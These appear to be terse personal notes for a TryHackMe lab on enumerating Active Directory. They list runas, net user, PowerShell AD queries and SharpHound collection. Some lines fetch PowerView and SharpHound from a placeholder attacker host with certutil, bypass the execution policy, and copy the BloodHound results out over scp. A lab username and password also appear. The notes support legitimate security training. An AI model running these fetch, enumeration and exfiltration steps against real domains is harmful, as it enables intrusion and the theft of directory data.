TRYHACKME AD Enumerating Active Directory 1 VIDEO ALL INFO
Domain: za.tryhackme
runas.exe /user:za.tryhackme.com\tony.holland mmc
runas.exe /user:za.tryhackme.com\tony.holland cmd
net user aaron.harris /domain
ip
certutil -urlcache -f http://insertyourip:80/powerview.ps1 PowerView.ps1
Powershell
Powershell -ep bypass
Import-module .\PowerView.ps1
Get-ADUser -Identity beth.nolan -Server za.tryhackme.com -Properties *
Your credentials have been generated: Username: rachael.atkinson Password: Zjqf3489
Get-ADgroup -identity "Tier 2 Admins" -Server za.tryhackme.com -properties *
GET-ADDOMAIN
certutil -urlcache -f http://insertyourip:80/SharpHound.exe SharpHound.exe
Sharphound.exe --CollectionMethods Session --Domain za.tryhackme.com --ExcludeDCs
sudo systemmctl start ssh
scp -r 20240228053610_BloodHound.zip kali@insertyourip:/tmp/